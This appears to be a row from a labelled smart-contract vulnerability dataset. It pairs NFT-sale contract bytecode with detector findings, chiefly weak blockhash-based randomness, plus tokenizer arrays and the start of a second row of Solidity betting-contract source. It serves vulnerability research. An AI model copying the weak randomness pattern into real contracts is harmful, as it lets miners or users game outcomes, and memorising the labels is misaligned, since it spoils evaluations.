cf6021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166115106135ef565b73ffffffffffffffffffffffffffffffffffffffff16148061153f575061153e816115396135ef565b613349565b5b611594576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180614d5a6038913960400191505060405180910390fd5b61159e83836135f7565b505050565b6000600e6115b08361215a565b6040518082805190602001908083835b602083106115e357805182526020820191506020810190506020830392506115c0565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff169050919050565b600061163760026136b0565b905090565b6212750063605797b00181565b61165a6116546135ef565b826136c5565b6116af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180614f266031913960400191505060405180910390fd5b6116ba8383836137b9565b505050565b600061171282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206139fc90919063ffffffff16565b905092915050565b604051806060016040528060408152602001614c396040913981565b61173e6135ef565b73ffffffffffffffffffffffffffffffffffffffff1661175c611e5d565b73ffffffffffffffffffffffffffffffffffffffff16146117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6117ee81613a16565b50565b6117f96135ef565b73ffffffffffffffffffffffffffffffffffffffff16611817611e5d565b73ffffffffffffffffffffffffffffffffffffffff16146118a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156118eb573d6000803e3d6000fd5b5050565b61190a838383604051806020016040528060008152506129ce565b505050565b600080611926836002613a3090919063ffffffff16565b50905080915050919050565b600061196282604051806060016040528060298152602001614dbc602991396002613a5c9092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a015780601f106119d657610100808354040283529160200191611a01565b820191906000526020600020905b8154815290600101906020018083116119e457829003601f168201915b5050505050905090565b6060600d60008381526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ab45780601f10611a8957610100808354040283529160200191611ab4565b820191906000526020600020905b815481529060010190602001808311611a9757829003601f168201915b50505050509050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614d92602a913960400191505060405180910390fd5b611b8e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613a7b565b9050919050565b611b9d6135ef565b73ffffffffffffffffffffffffffffffffffffffff16611bbb611e5d565b73ffffffffffffffffffffffffffffffffffffffff1614611c44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600c5414611d7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5374617274696e6720696e64657820697320616c72656164792073657400000081525060200191505060405180910390fd5b6000600b541415611df6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5374617274696e6720696e64657820626c6f636b206d7573742062652073657481525060200191505060405180910390fd5b612710600b544060001c81611e0757fe5b06600c8190555060ff611e1c43600b54613a90565b1115611e3c57612710600143034060001c81611e3457fe5b06600c819055505b6000600c541415611e5b57611e54600c546001613b13565b600c819055505b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b612710611e9261162b565b10611f05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f53616c652068617320616c726561647920656e6465642e00000000000000000081525060200191505060405180910390fd5b60008111611f7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f596f752063616e6e6f74206d696e74203020437962657252657865732e00000081525060200191505060405180910390fd5b611f8361326f565b811115611fdb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604b815260200180614d0f604b913960600191505060405180910390fd5b612710611fef611fe961162b565b83613b13565b1115612046576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526044815260200180614ccb6044913960600191505060405180910390fd5b34612058612052612380565b83613b9b565b146120ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614b996024913960400191505060405180910390fd5b60005b8181101561211b5760006120c361162b565b90506212750063605797b001421015612103576001600f600083815260200190815260200160002060006101000a81548160ff0219169083151502179055505b61210d3382613c21565b5080806001019150506120b1565b506000600b5414801561214a575061271061213461162b565b148061214957506212750063605797b0014210155b5b156121575743600b819055505b50565b6060808290506060815167ffffffffffffffff8111801561217a57600080fd5b506040519080825280601f01601f1916602001820160405280156121ad5781602001600182028036833780820191505090505b50905060005b82518110156122cb5760418382815181106121ca57fe5b602001015160f81c60f81b60f81c60ff16101580156122065750605a8382815181106121f257fe5b602001015160f81c60f81b60f81c60ff1611155b1561226b57602083828151811061221957fe5b602001015160f81c60f81b60f81c0160f81b82828151811061223757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506122be565b82818151811061227757fe5b602001015160f81c60f81b82828151811061228e57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b80806001019150506121b3565b508092505050919050565b63605797b081565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123765780601f1061234b57610100808354040283529160200191612376565b820191906000526020600020905b81548152906001019060200180831161235957829003601f168201915b5050505050905090565b600063605797b04210156123df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180614ef06036913960400191505060405180910390fd5b6127106123ea61162b565b10612440576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180614f576038913960400191505060405180910390fd5b600061244a61162b565b90506127068110612466576729a2241af62c000091505061250d565b6125e481106124805767120a871cc002000091505061250d565b612328811061249a57670c7d713b49da000091505061250d565b611d4c81106124b4576706f05b59d3b2000091505061250d565b61157c81106124ce57670429d069189e000091505061250d565b610bb881106124e85767016345785d8a000091505061250d565b6103e881106125015766b1a2bc2ec5000091505061250d565b662386f26fc100009150505b90565b6000606082905060018151101561252b576000915050612813565b60198151111561253f576000915050612813565b602060f81b8160008151811061255157fe5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561258e576000915050612813565b602060f81b816001835103815181106125a357fe5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156125e0576000915050612813565b6000816000815181106125ef57fe5b602001015160f81c60f81b905060005b825181101561280b57600083828151811061261657fe5b602001015160f81c60f81b9050602060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561267d5750602060f81b837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b1561268f576000945050505050612813565b603060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156126eb5750603960f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1580156127515750604160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015801561274f5750605a60f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b155b80156127b65750606160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156127b45750607a60f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b155b80156127e85750602060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b156127fa576000945050505050612813565b8092505080806001019150506125ff565b506001925050505b919050565b6128206135ef565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b80600560006128ce6135ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661297b6135ef565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b6129df6129d96135ef565b836136c5565b612a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180614f266031913960400191505060405180910390fd5b612a4084848484613c3f565b50505050565b6000600f600083815260200190815260200160002060009054906101000a900460ff169050919050565b6000612a7b83611932565b90508073ffffffffffffffffffffffffffffffffffffffff16612a9c6135ef565b73ffffffffffffffffffffffffffffffffffffffff1614612b25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4552433732313a2063616c6c6572206973206e6f7420746865206f776e65720081525060200191505060405180910390fd5b60011515612b3283612510565b151514612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e6f7420612076616c6964206e6577206e616d6500000000000000000000000081525060200191505060405180910390fd5b6002600d60008581526020019081526020016000206040518082805460018160011615610100020316600290048015612c175780601f10612bf5576101008083540402835291820191612c17565b820191906000526020600020905b815481529060010190602001808311612c03575b5050915050602060405180830381855afa158015612c39573d6000803e3d6000fd5b5050506040513d6020811015612c4e57600080fd5b81019080805190602001909291905050506002836040518082805190602001908083835b60208310612c955780518252602082019150602081019050602083039250612c72565b6001836020036101000a038019825116818451168082178552505050505050905001915050602060405180830381855afa158015612cd7573d6000803e3d6000fd5b5050506040513d6020811015612cec57600080fd5b81019080805190602001909291905050501415612d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614eac6023913960400191505060405180910390fd5b60001515612d61836115a3565b151514612dd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4e616d6520616c7265616479207265736572766564000000000000000000000081525060200191505060405180910390fd5b6000600d60008581526020019081526020016000208054600181600116156101000203166002900490501115612ebd57612ebc600d60008581526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612eb05780601f10612e8557610100808354040283529160200191612eb0565b820191906000526020600020905b815481529060010190602001808311612e9357829003601f168201915b50505050506000613cb1565b5b612ec8826001613cb1565b81600d60008581526020019081526020016000209080519060200190612eef929190614ad9565b50827f7e632a301794d8d4a81ea7e20f37d1947158d36e66403af04ba85dd194b66f1b836040518080602001828103825283818151815260200191508051906020019080838360005b83811015612f53578082015181840152602081019050612f38565b50505050905090810190601f168015612f805780820380516001836020036101000a031916815260200191505b509250505060405180910390a2505050565b6060612f9d826135d2565b612ff2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614e7d602f913960400191505060405180910390fd5b6060600860008481526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561309b5780601f106130705761010080835404028352916020019161309b565b820191906000526020600020905b81548152906001019060200180831161307e57829003601f168201915b5050505050905060606130ac611969565b90506000815114156130c257819250505061325e565b6000825111156131935780826040516020018083805190602001908083835b6020831061310457805182526020820191506020810190506020830392506130e1565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106131555780518252602082019150602081019050602083039250613132565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040529250505061325e565b8061319d85613d3e565b6040516020018083805190602001908083835b602083106131d357805182526020820191506020810190506020830392506131b0565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106132245780518252602082019150602081019050602083039250613201565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b600c5481565b600b5481565b600063605797b04210156132ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180614ef06036913960400191505060405180910390fd5b6127106132d961162b565b1061332f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180614f576038913960400191505060405180910390fd5b600061333961162b565b9050601491505090565b61271081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6133e56135ef565b73ffffffffffffffffffffffffffffffffffffffff16613403611e5d565b73ffffffffffffffffffffffffffffffffffffffff161461348c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613512576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614bef6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006135e8826002613e8590919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661366a83611932565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006136be82600001613e9f565b9050919050565b60006136d0826135d2565b613725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614c9f602c913960400191505060405180910390fd5b600061373083611932565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061379f57508373ffffffffffffffffffffffffffffffffffffffff16613787846113c4565b73ffffffffffffffffffffffffffffffffffffffff16145b806137b057506137af8185613349565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166137d982611932565b73ffffffffffffffffffffffffffffffffffffffff1614613845576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180614e546029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156138cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614c156024913960400191505060405180910390fd5b6138d6838383613eb0565b6138e16000826135f7565b61393281600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613eb590919063ffffffff16565b5061398481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613ecf90919063ffffffff16565b5061399b81836002613ee99092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000613a0b8360000183613f1e565b60001c905092915050565b8060099080519060200190613a2c929190614ad9565b5050565b600080600080613a438660000186613fa1565b915091508160001c8160001c9350935050509250929050565b6000613a6f846000018460001b8461403a565b60001c90509392505050565b6000613a8982600001614130565b9050919050565b600082821115613b08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015613b91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415613bae5760009050613c1b565b6000828402905082848281613bbf57fe5b0414613c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614e076021913960400191505060405180910390fd5b809150505b92915050565b613c3b828260405180602001604052806000815250614141565b5050565b613c4a8484846137b9565b613c56848484846141b2565b613cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180614bbd6032913960400191505060405180910390fd5b50505050565b80600e613cbd8461215a565b6040518082805190602001908083835b60208310613cf05780518252602082019150602081019050602083039250613ccd565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81548160ff0219169083151502179055505050565b60606000821415613d86576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613e80565b600082905060005b60008214613db0578080600101915050600a8281613da857fe5b049150613d8e565b60608167ffffffffffffffff81118015613dc957600080fd5b506040519080825280601f01601f191660200182016040528015613dfc5781602001600182028036833780820191505090505b50905060006001830390508593505b60008414613e7857600a8481613e1d57fe5b0660300160f81b82828060019003935081518110613e3757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8481613e7057fe5b049350613e0b565b819450505050505b919050565b6000613e97836000018360001b6143cb565b905092915050565b600081600001805490509050919050565b505050565b6000613ec7836000018360001b6143ee565b905092915050565b6000613ee1836000018360001b6144d6565b905092915050565b6000613f15846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b614546565b90509392505050565b600081836000018054905011613f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614b776022913960400191505060405180910390fd5b826000018281548110613f8e57fe5b9060005260206000200154905092915050565b60008082846000018054905011614003576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614de56022913960400191505060405180910390fd5b600084600001848154811061401457fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390614101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156140c65780820151818401526020810190506140ab565b50505050905090810190601f1680156140f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5084600001600182038154811061411457fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b61414b8383614622565b61415860008484846141b2565b6141ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180614bbd6032913960400191505060405180910390fd5b505050565b60006141d38473ffffffffffffffffffffffffffffffffffffffff16614816565b6141e057600190506143c3565b606061434a63150b7a0260e01b6141f56135ef565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561427957808201518184015260208101905061425e565b50505050905090810190601f1680156142a65780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001614bbd603291398773ffffffffffffffffffffffffffffffffffffffff166148299092919063ffffffff16565b9050600081806020019051602081101561436357600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146144ca576000600182039050600060018660000180549050039050600086600001828154811061443957fe5b906000526020600020015490508087600001848154811061445657fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061448e57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506144d0565b60009150505b92915050565b60006144e28383614841565b61453b578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050614540565b600090505b92915050565b60008084600101600085815260200190815260200160002054905060008114156145ed5784600001604051806040016040528086815260200185815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000155602082015181600101555050846000018054905085600101600086815260200190815260200160002081905550600191505061461b565b8285600001600183038154811061460057fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156146c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b6146ce816135d2565b15614741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b61474d60008383613eb0565b61479e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613ecf90919063ffffffff16565b506147b581836002613ee99092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b60606148388484600085614864565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b6060824710156148bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614c796026913960400191505060405180910390fd5b6148c885614816565b61493a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061498a5780518252602082019150602081019050602083039250614967565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146149ec576040519150601f19603f3d011682016040523d82523d6000602084013e6149f1565b606091505b5091509150614a01828286614a0d565b92505050949350505050565b60608315614a1d57829050614ad2565b600083511115614a305782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614a97578082015181840152602081019050614a7c565b50505050905090810190601f168015614ac45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614b1a57805160ff1916838001178555614b48565b82800160010185558215614b48579182015b82811115614b47578251825591602001919060010190614b2c565b5b509050614b559190614b59565b5090565b5b80821115614b72576000816000905550600101614b5a565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416d6f756e74206f662045746865722073656e74206973206e6f7420636f72726563742e4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f206164647265737337333235656331646161633966663236616331613063396363653634646562326137366437663065316430643331613063313936353834313461643834353765416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e45786365656473206d6178696d756d20437962657252657820737570706c792e20506c656173652074727920746f206d696e74206c65737320437962657252657865732e596f7520617265206e6f7420616c6c6f77656420746f206275792074686973206d616e792043796265725265786573206174206f6e636520696e207468697320707269636520746965722e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e6473536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4e6577206e616d652069732073616d65206173207468652063757272656e74206f6e654552433732313a20617070726f76616c20746f2063757272656e74206f776e657253616c6520686173206e6f7420737461727465642079657420736f20796f752063616e2774206765742061207072696365207965742e4552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656453616c652068617320616c726561647920656e6465642c206e6f206d6f72652043796265725265786573206c65667420746f2073656c6c2ea26469706673582212206031e4c979e28dd543162930e69f56b3cea875953078555e229689bb06a9de7064736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16703, 7875, 2692, 2509, 2497, 22610, 9468, 17914, 2575, 18827, 2050, 2683, 16576, 10322, 28756, 2278, 2581, 2475, 2063, 2581, 2050, 22275, 2549, 8270, 2581, 2683, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 8278, 10047, 18447, 2098, 4783, 29278, 7869, 3726, 2389, 2003, 29464, 11890, 2581, 17465, 2368, 17897, 16670, 1063, 3853, 2003, 10020, 3064, 4783, 29278, 7869, 3726, 2389, 1006, 21318, 3372, 17788, 2575, 5950, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,089
0x96330cb9f0785fed098c365863d558da91a6d7aa
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {assert(b <= a); return a - b;} function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BlackChain { using SafeMath for uint256; uint256 public costPerTicket = 75000000000000000; // Init with 0.005 ETH per bet uint256 public maxCost = 25000000000000000; // Price increase every 7 days until 0.03 ETH // test 2.0 uint256 constant public expireDate = 1543622400; // Contract refused to get any more bets after Dec 1, 2018 // uint256 constant public expireDate = 1533027600; bool public confirmed; bool public announced; bool public gameOver; bool public locked; bool private developmentPaid; uint private i; uint256 public startDate; address public owner; address public leader; address public leader_2; address public leader_3; uint256 public announcedTimeStamp; uint256 public rewardPool; uint256 public confirmreward; // Help us confirm when the man die and get a total of 5% ETH reward uint256 public init_fund; uint256 public countConfirmed = 0; uint256 public countPlayer = 0; uint256 public countBet = 0 ; uint256 public countWinners = 0; uint256 public countSecondWinners = 0; uint256 public averageTimestamp; uint256 public numOfConfirmationNeeded; uint256 private share = 0; uint256 public winnerTimestamp = 0; uint256 public secondWinnerTimestamp =0; uint256 countWeek; constructor() payable public { owner = 0xD29C684C272ca7BEb3B54Ed876acF8C784a84fD1; leader = 0xD29C684C272ca7BEb3B54Ed876acF8C784a84fD1; leader_2 = msg.sender; leader_3 = 0xF06A984d59E64687a7Fd508554eB8763899366EE; countWeek = 1; numOfConfirmationNeeded =100; startDate = now; rewardPool = msg.value; init_fund = msg.value; announced = false; confirmed = false; gameOver = false; locked = false; } mapping(uint256 => address[]) mirrors ; uint256[] public timestampList; mapping(address => bool) public isPlayer; mapping(address => bool) public hasConfirmed; mapping(address => uint256[]) public betHistory; mapping(address => uint256) public playerBets; mapping(address => address) public referral; mapping(address => uint256) public countReferral; event Bet(uint256 bets, address indexed player); event Confirm(address player); 